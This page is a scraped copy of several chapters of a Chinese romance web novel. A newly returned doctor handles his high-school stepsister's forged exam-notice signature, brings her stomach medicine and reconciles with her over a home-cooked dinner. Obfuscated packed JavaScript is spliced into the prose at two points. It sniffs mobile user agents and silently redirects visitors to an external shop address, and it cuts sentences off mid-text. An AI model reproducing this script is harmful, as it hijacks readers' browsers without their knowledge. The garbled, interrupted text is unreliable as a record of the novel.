l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101580|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位上站起,应声道:“在,这里。” 他说完定睛一看,认出是来人是谁,便惊奇道:“诶?程司远,你怎么来了?” 其实惊奇的不仅是他,刚刚程司远从张舒欣嘴里知道周依的班主任也是李钰,也跟着惊了一下。 程司远冲着李钰点头道:“是我,李老师。” 李钰伸手拍拍了他的肩膀,笑道:“几年不见变化真大啊,差点没认出来。” 他指向一边的沙发,继续道:“来,进来坐着说。” 程司远应声,走进去。 两人坐在沙发上,李钰把水递给程司远,说:“前几年你突然退学还真是给我吓一跳,后来知道你在国外学了医,我也是觉得欣慰。时间过的真快,一转眼又回来了。” 可能人都这样,年纪大了就喜欢感叹时间,过得真快、都长这么大了、变化真大,这几句话程司远这两天来来回回不知道听了多少遍,耳朵都要磨出茧子了。他猜下一句就是—— “什么时候回来的啊?”李钰问。 看看,果不其然。 程司远脸上是礼貌的微笑,伸手接过水杯,说:“前两天刚回来。当时却是我走的急,也没来得及跟您说一声,我也是很愧疚,您别见怪。” 这几年,其他本事有没有渐长先不说,但现在的装乖巧倒是收放自如,毕竟—— 李钰看程司远一副谦谦公子的模样甚是喜欢,摆手道:“诶,这有什么,如今我的学生能发展的这么好我高兴还来不及。” 他拿起杯子喝了一口,笑道:“这次来不会是专程来看我的吧。” 看看,这不就来了。 程司远轻咳一声道:“实不相瞒,李老师我是为周依的事来的。她妈妈暂时有事,来不了。” 李钰一愣,不解道:“你跟周依……你们是?” “我跟她是重组家庭。” 程司远顿了下,继续解释道:“她算是我妹妹。” 李钰猛地睁大眼睛,显然被惊到了,愕然道:“呦,这我还真不知道。” 或许是意识到了自己的失态,他说完又急忙整了整脸上神色,有些羞愧道:“这倒是我的失职了,学生的家庭情况都不了解,只是她基本信息就填了她和她妈妈,我还以为——” 他说了一半又蓦地顿住,叹息道:“那好吧,既然这样我就跟你说了。上周我们学校组织了高考告知活动,让每个学生都把告知单拿给父母签字,可周依的告知单我看了,明显不是家长签的,所以我就给她妈妈打了电话,问问情况。” 话音刚落,李钰起身就去拿办公桌上周依的告知单。他递给程司远,继续道:“毕竟孩子马上高考了,做父母的总是要知道点相关事宜什么的。” 程司远听得认真,抬手接过告知单,垂眸凝视着下方“张舒欣”三个字。 半晌,见李钰说完,才点头应声道:“您说的是,我看了,这却是不是家长签的。” 他从兜里拿出一支笔,继续道:“李老师,我作为周依的哥哥,我代她把家长的字先签了,告知单上相关事宜我也会仔细看,之后也会转述给她妈妈。这样,您看行吗?” 李钰听了皱眉思索片刻,叹息道:“唉,既然这样那你就先签了吧。” 他顿了顿,有点难为道:“我是不知道周依为什么要自己签,但她最近学习情况确是有所下降。可能是孩子压力太大了,又或者是其他什么原因,反正你们最近多留意留意,毕竟现在是关键时刻,可不能掉链子啊。” 程司远蓦地怔住,手下笔迹也有削微倾斜。不知为何,他脑子里忽然就飘现出了昨晚周依和一个男生有说有笑的画面…… 32.纸条 程司远抿唇沉默片刻,半晌才道:“好的李老师,我会留意的,麻烦您了。” 李钰笑着说客气,之后又拉着他寒暄了几句,眼看时间差不多要放学了,就提议中午一起吃个便饭。 但程司远却婉言拒绝了,说是有机会叫上班里其他人一起,这偷偷跟老师吃饭,要是被班里其他人知道,怕是要信息轰炸自己了。其实,他心里跟明镜似的,巴不得现在就冲出办公室,向周依问清楚事情原委。 李钰倒是没想太多,只是被程司远这么一提,不免就回忆起了几年前他们一班闹哄哄的样子,瞬间感觉自己都年轻不少。 他看着眼前离开的背影目光柔了柔,想起那时程司远在班里总是喜欢沉默,说话也冷冰冰的、直来直去,仗着自己成绩好惹生气了不少老师。 虽然现在程司远话依旧不多,语气也总带着冷气,可他总觉得程司远好像跟之前不太一样了,或许是因为之前平直的嘴角现在有了弧度,或许是之前扎眼的光芒现在被包裹了不少,又或许是他真的老了,看见之前的学生总觉得温柔亲近。 程司远从办公室出来,也不停歇径直就到了周依的班门口。 “叮铃铃” 中午铃声响了,班里早就蠢蠢欲动的学生见老师走出教室,闭眼就是一窝蜂地往外冲,生怕自己跑得晚了到了食堂吃不上好的。 可周依倒好,一下课就如卸力般趴在桌子上,双手自然下垂,丝毫没有打算起身去吃饭的意思。 一旁李佩佩看到,便走来关心道:“依依你怎么了,这么累,昨晚几点睡的?” 瘫在桌子上的周依,挣扎着支起半张脸,苦笑道:“一点。” 说完“扑通”又趴了下去,闷声道:“困死我得了。” “你真够拼的。” 李佩佩嘴角抽搐,伸手揉着周依的头,说:“走啊,先吃饭,吃完饭再睡。” 周依依旧趴在桌子上,半点儿没有起来的打算,说:“你自己去吧,我不想吃了。太困,我睡一会。” 她这话其实说了一半,太困是一方面,胃疼又是另一方面。 可能周依的饮食习惯真的太差了,不知道从什么时候开始,她的胃就跟五月的天一样,总是阴晴不定的。上一秒她还能活蹦乱跳的吃着零食,下一秒她就抽痛的弯了腰。 眼前这人,可不就正处于下一秒嘛。 “这哪行。” 李佩佩伸手拉过她前桌的椅子,坐下来道:“要不你说你想吃什么,我吃完给你带过来。” 周依捂着胃趴在桌子上,一来她不忍心拒绝李佩佩的好意,二来她下午还得上课,不吃东西还真不一定能扛得过来。 于是,片刻她支起半个头说:“那就鸡蛋沙拉三明治,外加一瓶巧克力奶吧。” 李佩佩皱眉看着周依,见她脸色发白,不由道:“你是不是不舒服啊。” “没有,我就是太困了。” 周依又重新趴回去,往怀里缩了缩手臂道:“睡一会就好。” “那你快睡吧,我一会儿就回来。”李佩佩道:“不舒服就赶紧去医务室啊,别拖着。” 趴在桌上的周依也不抬头了,随意点了点,闷声道:“知道啦,你快去吃饭吧。” 门口的程司远等了半天,见教室里的学生都走得差不多了,还是没见周依的身影,就打算进去看看。 可没想到他刚转身,就碰到了准备出去的李佩佩。 李佩佩惊地“诶”了声,随后疑惑道:“程司远?你怎么在这?” 程司远愣了瞬,随即回复道:“奥、我找周依。” 声音淡淡的,听不出来有什么情绪。 李佩佩没反应过来,下意识慌乱地指向身后道:“周依?哦哦,依依她睡了。” 说着便侧过身,眼睛朝手指方向看去。 程司远也跟着抬眼,就见周依正坐在座位上缩成一团。 正午的阳光刚好打在她身上,四周都想被笼了层暖纱,那人懒洋洋的,就象一只在桌子上睡觉的猫。 程司远目光变得柔和几分,对李佩佩点头,说了声“谢谢”,便径直走向那猫猫走去。 他来到周依身边,忍不住想要去揉她的的头发,可手抬了抬,又觉不妥,滞涩一瞬,转而改成了轻拍她的胳膊。 周依胃疼的有点难受,下意识以为是李佩佩还没走,头也不抬便问道:“怎么了?” “……”程司远没有说话。 周依见半天没反应,这才半眯着眼抬头去看,没想到映入眼帘的微博却是西装革履。 霎时间,吓得睡意全无,她猛地抬头瞪着眼睛,甚至连胃都忘了疼,诧异道:“你、你怎么来了?” 程司远却是答非所问,蹙眉道:“你不舒服?” “没有。” 周依几乎脱口而出。 可这说完,才发现自己一只手还在胃上抚着,她连忙撤去,闪躲着眼睛又问了一遍:“你怎么来了?” 心虚的味道不言而喻。 “是胃疼吗?”程司远问。 周依偏侧过头,咬着唇沉默不语。 “走,跟我去医务室。” 程司远说着就要拉她起来。 周依却一把甩开他的手,第三次问道:“你怎么来了?” 程司远抿唇顿了几秒,说:“李老师给你妈妈打电话让来一趟学校,她没空就让我来了。” 周依疑道:“李老师为什么给我妈打电话,我又没干什——” 她话说了一半,就突然停住,蓦地脑子里也想起点什么。 “签字的事?”周依问。 “嗯。” “那我妈知道了?” “应该还不知道。”程司远皱眉道:“行了,跟我去医务室。” 说着又要把周依凳子上拉起来。 可周依却是来了倔脾气,再一次把他的手甩开,气愤道:“我不去、我没事,我不用你管。” 这句话就像是一根刺,猛地戳进程司远的心里,同时那傍晚与别人笑说的画面。也再次映入他的脑海。 刹那间,胸中像是有怒火升起,他压低了声音道:“你能听话吗?” 周依双拳紧握,呼吸也跟着颤抖,怒目看着程司远,喊道:“够了!程司远、你凭什么管我!我和你有关系吗?” “凭我是你哥!” “你是吗?”周依冷笑道:“几年前就不是了。” 说完推开面前桌子就跑了出去。 霎时间,空荡荡的教室里只留下程司远一个人,他眯起眸子看着门口消失的背影,眼睛里透露着一抹危险气息,涌动着的却是霸道强势的占有欲。 过了不知道多久,直到手机响了,他才缓缓的闭眼深吐了口气,拿起手机接道:“喂,怎么了?” 他声音淡淡的,但另一头童遥却略显急促焦急道:“司远你事情办好了吗?哎呀,快回来一趟,主任要开会了。” “嗯知道了,等等就过去。” 程司远挂了电话,看着被周依推歪的桌子紧皱的眉心都在隐隐跳动,抿了抿唇还是伸手将它摆正。 他突然觉得童遥说的很对,他是该干脆点。 周依脚不停歇,一直跑到顶楼才肯停下。学校天台被门锁着,所以顶楼的楼梯间很少有人来,是她的秘密基地。 人在私密的地方就很容易卸下伪装,刚刚全身都是刺的周依,现在也软 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“???” 周依一头问号。 不是,您这是什么衡量标准?颜值决定好坏人?? “你回座位吧,马上上课了。” 周依决定清花C——啊不对、清人了。 李佩佩“啧”了声,走之前还小声嘀咕道:“他长那么帅应该不能告状,不能。” “……” 真行。 周依彻底无语,刚打算把巧克力牛奶放桌兜里,谁知手刚伸进去就碰到了一个纸盒子。她可不记得她桌兜里有这种东西。 周依心里疑惑,就伸手准备拿它出来。 但那东西只刚露出一个角,周依的心倏地跳了一下—— 是药。 她把药盒整个从桌兜里拿出来,又发现上面还贴了一张纸条,上面写着: 记得把药吃了,要是有空就再去趟医务室,别忍着。 字迹干净利落、洋洋洒洒她再熟悉不过。是程司远。 周依拿着这纸条看了好久,心底深处的某块顽石好像也开始有了裂纹,她鼻尖微微发酸,伸手去拿桌兜里的水杯,打算去接点热水。 可手刚触及到水杯,她却不敢拿了。 有水,是温的。 周依弯腰趴在桌子上,垂眸看着手里的那盒药,另一只手还在桌兜里摸着自己的水杯。姿势虽然怪异,但那股暖意却像是涨了眼睛,源源不断地从指尖蔓延至心底。随之,顽石也彻底崩裂。 她真的很喜欢阳光。 33.开口 程司远所在的医院离学校并不是很远,不一会儿便开车赶了回去。 “老天爷,你终于来了,坐这吧。” 他刚进会议室就听童遥的声音。 程司远对她点头顺势坐下,说:“有点事,耽搁了。” 童遥开口还没来得及问,就见主任推门走了进来。相互跟着大家打完招呼,会议就正式开始了。 但与其说是会议,程司远觉得更像是欢迎会,上来自我介绍一番,然后不是口号,就是宗旨的。他向来不喜欢这种活动,再加上刚刚又跟周依发生了点小摩擦,这下更是心烦意乱,全程都皱着眉头,一脸“生人勿近”的模样。 到最后大家起哄一起去团建时,这人就打算趁机开溜了。 童遥与程司远相反,快乐小狗倒是很乐意参与这样的活动。这不,转眼就能和大家融为一体,说说笑笑不亦乐乎。 程司远轻咳一声,把她拉到一边,低声道:“团建我就不去了,你带大家玩,钱算我的。” 说完,脚底抹油,侧身就走。 旁边有眼尖的同事看程司远要遁,便跟着起哄道: “诶?这程医生怎么走了?他是主角啊。” “就是,怎么走了?” “那他走了我们还去吗?” “诶,别走啊。” 童遥刚刚还一脸茫然,但听到有人请客,立马喜笑颜开,转身对众人说:“诶诶诶,去啊,怎么不去,我不也是主角嘛,程司远有事就让他先回吧。” 她拿起手机晃了晃,继续道:“我们玩,他请客。” 瞬间,会议室里又是热闹一片,熙熙攘攘的。 程司远出了医院,路上还不忘给张舒欣打了通电话。 “嘟——嘟——嘟、喂,阿姨。” “啊、司远啊,老师是说什么了吗,还是依依还是犯什么错了?”张舒欣问道。 “依依在学校挺乖的,也没多大事。”程司远道:“她不是快高考了嘛,老师发了张注意事项的通知单告,她忘带回家了,没签上字。” “奥奥,没事就好,那真是麻烦你了啊司远。” 张舒欣的声音蓦地有些内疚,叹息道:“我跟你爸爸最近忙的厉害,确实是忽视了依依,还让你跑一趟,我这心里真是过意不去。” “阿姨你可千万别这么说,她事我也有义务帮忙,更何况她也长大了,能体谅你们。”程司远道:“我现在刚入职也没什么事,她的事你放心。” “哎,好孩子。”张舒欣道:“依依交给你,我肯定是放心,她有你这个哥哥那是她的福气。” 听到这话,程司远嘴角刚扬起的弧度略微发生变化,眼睛也似暗了几分,之后又说几句便挂了电话。 他垂眸看着手机轻叹一声,开着车一路来到了超市。 至于为什么,那只能说因为他家小孩儿之前有个坏毛病—— 没点东西哄着,药根本就喂不到肚子里。 中午时间又太匆忙只够他买个药的,哄人的玩意儿来不及准备,现在便跑到这打算事后补贴了。 留了张纸条也不知道那小孩儿看见没,有没有把药喝了。 程司远心里想着,不知不觉间购物车里就多了好几样零食,把薯片放进去的一瞬,他自己看见都愣了下,倏地又皱眉放了回去。 胃疼还是少吃吧。 程司远推着车绕来绕去,拿了不少周依爱吃的蔬菜水果,最后在一家甜品店前,他突然驻了足,弯着腰看着玻璃橱柜里面放着的小蛋糕,不禁低笑一声,想起几年前带她去医院的事。 那时候也是,死活不去倔得像头牛,跟今天也没什么区别。只不过那时候他还能拦着她,现在却…… “你好,请问有提拉米苏吗?”程司远问。 “不好意思先生,提拉米苏卖完了。”店员小姐道:“您可以看一下这款,草莓味的也非常好吃。” “谢谢,不用了。”程司远看向另一边又问:“麻烦问一下,这款抹茶蛋糕是偏苦还是偏甜?” 店员小姐怔了一下,似乎没想到有人会这么问,但很快又解释道:“偏甜的,符合大多数人口味。 她讪笑一声道:“苦的,不太好卖。” 程司远也觉得店员小姐说得对,但耐不住有人就大多数之外的少数人。 周依的口味他记得清楚,喜欢吃草莓,但不喜欢草莓味;喜欢吃抹茶,还就喜欢苦的,巧克力也不例外。对甜品的最高评价就是——好吃、不甜。 程司远在玻璃橱柜前站了一会儿,半晌还是开口道:“不用了,谢谢。” 只不过他刚离开还没走几步,便又转身重新进了超市,买了不少东西,这才开着车回家了。 程司远在厨房着手准备着,把食材一一掏出来,咖啡豆、马斯卡彭奶酪、手指饼干…… 看样子是要自己做提拉米苏了。 只见他动作行如流水,萃取出咖啡液放一边冷却,然后倒在手指饼干上,让它完全浸没,铺在餐盒底部,随后再盖上一层搅拌顺滑马斯卡彭奶酪。 如此这般重复几次,直到餐盒填满,最后又在顶部撒上了一层薄薄的可可粉。 程司远把做好的提拉米苏放到冰箱冷藏,抬眼看了眼时间,发现离周依放学回来还有久,便打定主意再做几个菜。 有句话不是说嘛,出国前的留子,回来后的厨子。程司远也不例外。 他自认为自己对吃的要求并不是很高,但耐不住白人饭翻来覆去就那几样,时间一长他也受不,所以没事的时候也琢磨过不少菜式。就从上次他回来做的那一桌菜来看,确实称得上有两把刷子。 留——哦不、厨子从容不迫,手法熟练,锅铲在他手中翻飞,每一次翻炒都恰到好处。食材也在他的巧手下,逐渐变得色香味俱全。 这时,“咔哒”一声。 周依推门而入,闻到满屋飘香下意识就以为张舒欣回来了,惊奇道:“嗯?妈你回来了,今天这么早。” “我不是你妈。” 程司远从厨房端出最后一道菜,解下围裙,看着她道:“回来了就去洗手,准备吃饭。” 周依吓得差点跳起来,甚至一只脚都忘记迈进门。她眼睛瞪的溜圆,提高了嗓音诧异道:“你怎么在这?” 程司远挑眉道:“我怎么不能在这,这不也是我家?” 周依噎住,话是这样说没错,但—— 这画面也太诡异了。 “愣着干嘛,进来啊。”程司远说。 周依憋嘴“奥”了声,换好鞋路过餐厅时还忍不住偷偷瞥了他一眼,见对方面容淡淡看不出什么情绪,顿时更纳闷了。这……是干嘛? 如果杀人不犯法,她完全有理由认为他要投毒。 周依换好衣服洗手出来,发现程司远已经在餐桌前坐好等她了。 “煮了皮蛋瘦肉粥,你尝尝。”他说。 周依坐在他对面,拿着勺子喝了一口,还没来得及说话,就有听对面的人说:“好点没,胃还疼吗?” 她手一抖,勺子差点掉碗里,随机又故作镇定道:“我没疼。” 看看,这倔牛又来了。 程司远垂眸沉默了几秒,说:“学校的事不用担心,我和阿姨说你没带通知单,忘记签字了。” 周依垂头“奥”了声,便拿着勺子在碗里,径自玩起了“挑肉粒”的小游戏。 一时间,两人都没有说话,屋里静的骇人,哪怕是瓷器不小心碰撞的声音,在这一刻也显得十分突兀。 或许是因为中午的那盒药、那瓶装了温水的水杯以及那张洋洋洒洒纸条,让周依这会儿有点坐立难安。 她不由觉得心虚,将脸埋在碗里抬眼偷瞧着程司远,嘴唇微动,只是音节在喉头卡了一瞬,便很快咽了回去。 可耐不住某人目标太大,她真的很难忍住冲动不去再看。 这一来二去,对面的人也不是瞎子,自然发现对劲,程司远停下筷子,抬眼问道:“怎么了,我脸上沾到什么东西了?” 说着还往自己脸上摸了摸,像是真能摸出什么来。 周依身形一顿,眼看被发现急忙闪躲道:“没、没有,没东西。” 程司远轻轻挑眉,问:“那你看我干嘛?” “咳、咳咳、咳咳、” 这话问的,周依被噎地连咳了好几声,脸都涨红了。 不是,这人怎么不按剧本来啊,这么干脆的? 她结巴道:“谁、谁看了?” 程司远看到周依这幅囧样,不由嘴角勾了勾笑道:“那你脸红什么?” 随后又给她递了杯水,继续道:“小心点,你也太容易被呛到了。” 周依伸手接过,狠狠瞪了程司远一眼,心里暗骂这怪谁? 她仰头喝了一大,倔道:“谁脸红了,我那是被呛的。” 说完又瞥了眼程司远,继续道:“知道我吃饭容易被呛还跟我说话,你故意的。” 程司远听了一脸无辜,摊了摊手道:“是你先看我的,跟我有什么关系。” 不是,这人之前也这样? 周依不买账,挑眉不服道:“你不看我怎么知道我看你的?” 这话一落耳,程司远不但没有掉入她的逻辑陷阱,反而笑着眯起眼说:“所以你这是承认了?” 这下,周依那刚刚稍微消下去的脸,这会儿“唰”得又红了起来。 她哑了几秒,蓦地低头,看起来是想把整张脸都塞到碗里,慌乱道:“吃饭、吃饭的时候不许说话。” 程司远嗤笑一声,往后坐正了身姿道:“行,不说了,你吃慢点,别又呛到了。” 说完竟又是低低笑了两声。 周依欲哭无泪,耳根都跟着发烫。这浑身的刺,好像遇到程司远就不管用了,无论她怎么说,仿佛都能迎刃而解。 想到这,周依胸口又莫名存了口恶气,狠狠喝了两口粥,意图报复。 程司远看着她一幅狼吞虎咽的样子,蓦地开口道:“慢点吃,中午还胃疼呢。” “我没有。”周依开口就是反驳。 “没有你怕什么医务室?” 周依下意识就道:“你管——” 但话没有说完,她又闭嘴忍住了,转而小声说了句:“不严重,没关系。” 程司远垂眸看着她沉默片刻,刚想开口,就见对方站起身道:“我吃好了,去写作业了。” 话音刚落,不等他反应,周依就如蒙大赦般快步流星地逃走了。 到了房间,她一个飞扑上床,拿起床头藕粉色的大象玩偶就是一顿蹂躏。 她先是用手狠狠拍了几巴掌大象的脸,恶狠狠小声道:“看你怎么了?我就看、就看!” 随后,又使劲拽着大象的鼻子,咧着嘴道:“脸红?你以为你长多帅?” 她刚说完,倏地又想起李佩佩的话,顿了顿啧声道:“是挺帅的。” “那我不也挺好看的嘛,我漂不漂亮?”她甚至威胁大象道:“嗯?说话!怎么,看入迷了?” 大象“……” 这角儿一个人在床上演了半天独角戏,半晌,终于想起来自己的正事儿。 她从床上爬起来,坐到书桌前,还不忘把大象放在自己腿上,嘴里嘟囔着:“今天姐不高兴,罚你陪我写作业。” 如果大象会说话,那我想它一定在哭。 就在我们周大角儿心无旁骛,专心致志死磕题目时—— “扣、扣、扣” 周依猛地回头,还没来得及发声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145131|135289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接瞧见自己门没关严,透过门缝正好看到了程司远的衣角。 不是吧…… “依依,我能进去吗?”程司远说。 周依呼吸一滞,急忙把桌子上的书盖大象身上,慌乱道:“啊……那个,进来吧。” 她肠子都快悔青了,也不知道他刚刚听见没有,真是救了命了。 程司远见她一副慌乱模样,不解道:“你在干嘛?” 周依眼神都在空中乱飘,但还是佯装一脸轻松,不明所以道:“我还能还能干嘛,学习啊,写作业。” 程司远瞥向她那腿上高高铺起的书,眨眼问:“这样……学?” “对啊,就这样。” 周依义正言辞,甚至伸手拿过书桌上的卷子,示范道:“你看,这样多方便,低头就能看书,抬头就能看卷子。一举两得,天才发明。” 你看,这人一慌张,话多的毛病就又犯了。 程司远眼睛落在那书下漏出的一只藕粉色象脚上,又抬眼配合着她那幅慌张模样,嘴角的弧度忍了又忍。 “是挺天才的。”他说。 “那是。”周依入戏道:“也不看看我是谁。” 程司远眸底温润如水,蓦地轻咳一声,重新调整了神色道但:“周依,我觉得有件事情我必须要解释一下。” 周依脸上的表情瞬间一僵,心里也倏地空了一下。 程司远很少喊她全名,最开始他们不熟的时候喊过几天“喂”,之后熟了不是叫她依依,就是叫她小孩儿,有的时候也会省略称谓直接说事。 就是这全名……她是真没听过几次。 这一声叫的周依不免心慌,她垂眸看着自己的卷子,小声道:“什么?” 不知为何,她脑海里忽得就飘现出那桌兜里的纸条和水杯,心里不停地打着鼓,莫不是是觉得我会多想,现在要跟我划清界限了? “相册的事。”程司远说。 周依咯噔一下,这几个字就像寒天里结了薄冰的水,猛地泼向她,瞬间从上到下凉了个彻底。她喉咙哑极了,艰难地发出一个音节:“我——” “你听我说。”程司远打断倒:“那天的事怪我,是我的错,我情绪太激动说话也没经过大脑,对不起。” “依依,别生气了,好吗?”他说。 周依愣在原地没有说话。 她以为三年的时间已经冲刷了一切,主要程司远不提,自己就能假装不知道,一切相安无事,她依旧可以毫无负担的跟李佩佩说,时间太久她忘了。 可直现在到亲耳听到这几句她才发现,自己是有多期待这一天,同时又是多害怕这一天。 周依红了眼眶,死咬着嘴唇拼命忍着鼻尖的酸涩,她慌张地在自己裹了一层又一层的躯壳里翻找着应对之策,想要表现的从容不迫,说我没生气,那件事是我有错在先,是我不懂事才惹的你生气,对不起。 可奈何苦水翻涌,她三年来建立的铜墙铁壁就像是纸糊的,只是顷刻间就被这浪花冲了个干净。 周依忍着快要喷薄出来的酸涩,颤抖着喉咙,说:“没有,我没生气,是我——” 她没说完的音节卡在喉咙里,眼中的水雾越来越浓。好难。 她僵在那,哑了半天。 程司远垂眸看着她的背影,半晌才道:“好啦,话说完,我也该走了。” “你要走?” 周依脱口而出,转头看向他眼睛里噙满了泪水,下意识以为这人又要去国外。 程司远心口一震,目光柔了柔,打趣道:“明天早班,现在不回去,明天怕是要迟到了。” 顿时,周依尴尬万分,懊悔自己说得太快脑子没跟上嘴。她强忍着要抱头鼠窜地冲动,偏过头是“奥”了声,就抿唇打算哑巴了。 程司远看得有点想笑,觉得眼前这小孩儿真是可爱的紧,他弯了弯嘴角说:“冰箱里有提拉米苏,别忘了吃。” 周依不语,点了点头。 “餐桌上有洗好的水果也别忘了吃。” 周依继续闭口,点了点头。 “冰箱里还有菜,他们回来了热一下就行。” 周依依旧沉默,点了点头。 程司远挑眉,又说:“晚上还有一顿胃药,别忘了吃。” 周依还是安静,点了点—— 等等! “你说什么?”她转头惊呼出声。 程司远握拳低着嘴唇笑了一声,说:“你点头我可看见了。” “你诈我?” “没有。” “还说没有,明明就有!” 周依激动的想要站起身,刚动了一下才反应过来自己腿上还藏着东西,顿时蔫了,背对着身赌气道:“我不疼了。” “我疼。” 程司远的声音很低,周依甚至没听太真。她开口问道:“什么?” 程司远并没有回答,而是转口道:“提拉米苏都有了,就委屈你晚上睡前再喝一包,巩固一下吧。” 他声音低低的话里带了几分笑意,听的周依耳朵有点发痒。她侧过脸,脖颈处微微泛红,过了好久,才小声说了句:“知道了。” 程司远清冷的眸子里浮动起柔和的波光,眼神闪烁之间,翻涌着的情丝也快要溢出。 他唇角扬了扬,垂下眼帘,半晌,轻声道:“我走了。” 周依想开口说些什么,但张了张嘴还是忍住了,轻嗯一声,不再说话。 “咔哒” 一声轻响,周依知道程司远离开,紧绷的身体瞬间松懈下来,瘫靠在椅子后背上。 她垂眸看着自己腿上的欲盖弥彰的书本,懊悔地叹了声气,伸手将书本重新拿回桌子上,举起大象到半空,注视片刻,细声道:“记得路上小心呀。” 34.收留 那天之后,三年前的事就像一场闹剧,明白人都难得想糊涂。程司远没有再提,周依也小心避让,就这样,两人都一股脑儿地把没说完的话搪塞给时间。 只不过有一点让周依百思不得其解,先前她明确的知道程司远去国外是学了医,可现在反而开始怀疑了。 主要是这隔三差五,她就能在家碰到“社会精英程医生”秒变“身家庭煮夫程大厨”的变身场景,那洗菜、切菜、炒菜,可以说是丝毫不拖泥带水,还真不能怪她怀疑程司远跑去国外到底学了什么。 她甚至有怀疑过这人是不是被植入了某种芯片,不然怎么净做一些之前不会做的事。 某天放学,周依走在路上突然就感觉后背一阵发凉,忍不住打了个哆嗦。 “怎么了?”身旁的李佩佩问。 “啊?没什么。”周依用双手搓了搓胳膊说:“就是突然觉得有点冷。” “冷?” 李佩佩抬头看着还没有落山的太阳,一脸疑惑道:“不应该啊,这太阳不挺暖和的嘛。” 周依摇摇头,心里莫名觉得忐忑道:“不知道啊,可能是昨晚睡觉着凉了吧。” “???” 李佩佩满头问号。这时候晚上睡觉还能着凉?她都嫌热。 虽然……但是没关系,因为周依很快就知道自己为什么后背发凉了。 这不,到家刚推开门,那股熟悉的饭菜味又是扑面而来。 她本能以为是张舒欣,开口就喊:“妈——” 但音节刚发了一半,周依就觉得不对,立马住了嘴,伸出头,向房间内探去。 果然。 “你怎么——” 又来了。 周依说了一半,又蓦地住嘴,想起之前两人的对话,嘴上“啧”了声。心道,也是他家。 于是,改口道:“你怎么下班这么早?” 程司远拿着碗筷,从厨房走出来,说:“回来了。” 他抬眼看向门口,就见周依只露个头,鬼鬼祟祟的堆在门后,不禁笑了出来,说:“你这是干嘛,演乌龟?” 周依推门走进来,瘪嘴道:“你才演乌龟。” “快去洗手吃饭吧。” 他声音温润清透,周依下意识听话地走了两步,忽觉得不对,看着他疑惑道:“你没去上班?” “去了。”程司远不解道:“为什么这么问? 周依更是纳闷,不答反问道:“那你一下班就来了,没去干别的什么?” “下班除了回家,还能干什么?” 周依愕然,这怎么和她想的不一样呢,不是都说人只要一上班,下班也加班嘛。难道医生不用?也没什么活动?还是他一个人这样? 等等,他不会被孤立了吧。 想到这,周依看向程司远的眼神里除了诧异之外,蓦地又多了些许可怜。 程司远将她表情尽收眼底,但可能是习惯了她的古灵精怪,也没多问什么,只是开口催促道:“别干站着,快去洗手。” 于是,周依更加确信了程司远被孤立的“事实”,她心中默默叹了口气,只道,性格不好其实也不都是他的错。 美美的一顿晚餐在周依的唏嘘,和程司远的莫名中,无言度过。 这刚吃完饭,周依就打算溜回房间学习,但刚抬腿就被程司远叫住道:“先等等,你会用微波炉吗?” 周依不知道为什么问这个,虽然疑惑,但还是老实回答道:“嗯,会。” “我做——” 程司远拿出放在冰箱里的三明治,刚开口便顿住,连忙改口道:“我买的这个三明治你明天早上热一下吃,要是来不及也要热了带到学校吃,别冷着吃,也别不吃。” 周依抬眼好奇地看着他手里,试探道:“我的……早饭?” “嗯,别忘了。” 程司远说完又把三明治放回了冰箱。 周依早上赖床是个惯犯了,哪还可能有时间去买早饭,肯定是随便拿个面包,或者牛奶什么的就凑合了。这长时间下去,胃不疼都难。 周依站在一边显得有些局促,想要开口说过谢谢,可又觉得“谢谢”二字过于客气,想要直接应声接受,又觉得自己过于随意。 最后,扭捏了半天,张了张嘴竟是一个字也没能说出口。 “不是写作业嘛,站着干吗?”程司远问:“是有不会的了?” 周依愣道:“没、没有,我没不会的。” “哦?这么厉害呢,都会啊。” 这话把周依吓得,连连摆手:“那、那倒也不至于,还是有不会的。” “呐,这不是有不会的嘛。” “???” 周依一头问号。不是,这人故意的吧? “那道题,让我看看?” 程司远笑着,一副得逞的模样,继续道:“包教包会。” 看看这幅样子,绝对是故意的。 周依无语,转身就走,还不忘对身后道:“不信。” 程司远也跟走了一步,声音里透着笑意说:“不信什么,我的技术还是你的智商?” 周依倏地顿住脚步,斜视着对方。真是叔可忍婶可忍,她都不能忍! “那必然不是我。”她说。 程司远向周依歪了歪头,挑眉道:“那试试,看看到底是谁。” 周依一脸“不信邪”模样,几个踱步就到了自己房门口。试试就试试。 她心里正想要一较高下时,忽然身形一顿,手拉着门把怔在门前。 “怎么了?”程司远问。 周依像突然想到什么,手紧拽着门,脸也蓦地开始发红,背对着程司远,支吾道:“你那什么……你先等等,别进来,等、等我开门你再进来。” 说完不等程司远回答,她刚把门开了一条缝,然后“呲溜”就窜了进去,瞬即“啪”的一声,关了门。 “……” 程司远看着眼前突然消失的人,愣在原地。 而周依一进门就直奔向枕边的大象玩偶,二话不说,拿起就往衣柜里塞,还不忘把其他玩偶往空位处堆了堆,顺便把床单和被子也铺整齐。最后,又心虚地快速扫视一眼,确定无误,这才给程司远开了门。 然而,她一开门就看到了程司远那张快要忍俊不禁的脸,顿时又羞又怒:“干嘛,我就不能有点不能公之于众的东西嘛。” 说完,她突然觉得好像有哪里不太对,紧接着两人都陷入了一片诡异的沉寂当中。 “……” 霎时,周依整张脸连着耳根都红了,慌乱道:“不是、这话不对,我的意思是——” “噗嗤。” 